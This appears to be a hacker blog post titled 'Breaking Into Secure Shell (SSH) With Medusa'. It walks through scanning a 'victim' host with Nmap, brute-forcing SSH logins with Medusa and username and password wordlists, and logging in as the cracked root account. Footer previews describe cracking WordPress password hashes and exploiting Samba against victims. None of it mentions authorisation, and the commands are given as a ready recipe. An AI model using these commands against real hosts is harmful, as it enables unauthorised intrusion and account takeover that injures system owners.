Breaking Into Secure Shell (SSH) With Medusa

-
Description :
SSH Or Secure Shell is a network protocol where the client can exchange data through a secure network between the two devices as a remote network. is widely used in Operation systems GNU Linux and Unix.


About Medusa :
medusa is a cracker tools with fast service to display the password as "SSH, FTP, HTTP, MySQL, Telnet, VNC, Web Forms and more.

Equipments:
1. Medusa
2. Nmap

Scan victim host using Nmap
# nmap -sV xxx.xxx.xxx

-sV : Probe open ports to determine service/version info
xxx.xxx.xxx.xxx : ip-victim



seen in the picture above, the SSH service port 22 open. so, we can do the exploitable

# medusa -h xxx.xxx.xxx.xxx -U USER.txt -P PASS.txt -e ns -M ssh -v 4


-h     : Target hostname or IP address
-U    : File containing usernames
-P     : File containing passwords
-e     : Additional password checks ([n] No Password, [s] Password = Username)
-M   : Name of the module to execute
-v     : Verbose level


ACCOUNT FOUND =))
User is a root
password is a r00t

Now, let's get the ssh login :

# ssh root@xxx.xxx.xxx.xxx


Success =)) we have access into the victim's computer

NOTE : at its base is not as easy as in the testing that I did, that you have to prepare is a wordlist and luck.


regards
Hidemichi-Hiroyuki a.k.a [H2]









Comments

Post a Comment

Do Not Fuckin Spamming

Popular posts from this blog

Decrypt MD5 $Wordpress

-
Image
Hy, I'm back again. I will discuss how to Decrypt a password in the form the MD5 hash wordpress. here are some examples of hash md5 encryption wordpress will we Decrypt: HASH                                                                                  PASS $P$BDHjLCEroc8ujkcs8RZxOhcE80aV5h.           : th3sweety0ne  $P$BPXNfl3mZiO7PZc4XZqFFjX7TyP7Lh.           : Pabl0-saChez $P$BqilSln8PD9SBFuTx8KkaXz62aIIvV/             : m4rim4r123 $P$BnfObieGq5ygdt0OMgwbnKvFt8EFUs.          : Gh0stTrac3 $P$B.RwpJQV8ANOyl19RGHhCaYYgJyvQM1  : *12345*0a0b0c0d many of my friends are overwhelmed when decrypt wordpress md5 hash. so are they wasting their jobs because the...
Read more

Exploit Samba "SmbClient"

-
Image
Such as FTP (File Transfer Protocol) samba include things like getting files from the server to the local machine, putting files from the local machine to the server, retrieving directory information from the server and so on. in this case we have to get the victim to allow shared folders or files. Equipments : 1. SmbClient 2. Nmap 3. Metasploit The firstStep. scanning port the victim's ip-address using Nmap. in here that we need right port is port   445  microsoft-ds. # Nmap (Victim Ip-Address) seen in the picture above. I am lucky :) now, let us look the contents of the port # nmap -p445 --script=smb-os-discovery (Victim Ip-Address) --script=smb-os-discovery : Attempts to determine the operating system, computer name, domain, workgroup, and current time over the SMB protocol (ports 445 or 139) . seen in the picture above, it turns out the victim we use Operating System Windows 7 Ultimate.  Computer Name And NetBIOS Name is a ANONYMOUS-...
Read more

Configure Pure-FTP on Kali Linux

-
Image
FTP or file transfer protocol is a protocol that allows you to transfer files to and from a remote machine. BackTrack has pure-FTPd installed by default. FTP operates on port 21. Contents : 1. Installasion 2. Configuration 3. Run Installation Pure-Ftpd # apt-get install pure-ftpd Installation Success =)) Configure Ftpd add new group: # groupadd ftpgroup add user: # useradd -g ftpgroup -d /dev/null -s /etc ftpuser -g =  name or ID of the primary group of the new account -d = home directory of the new account -s = login shell of the new account configure store a list of users: # pure-pw useradd myftp -u ftpuser -d /home/ftp/pub/myftp myftp = your ftp username please enter you password. configure puredb database file # pure-pw mkdb The next entry to the directory /etc/pure-ftpd/auth/ # cd /etc/pure-ftpd/auth then Create hard links by default: # ln -s ../conf/PureDB 60pdb then, make a directory /ftp...
Read more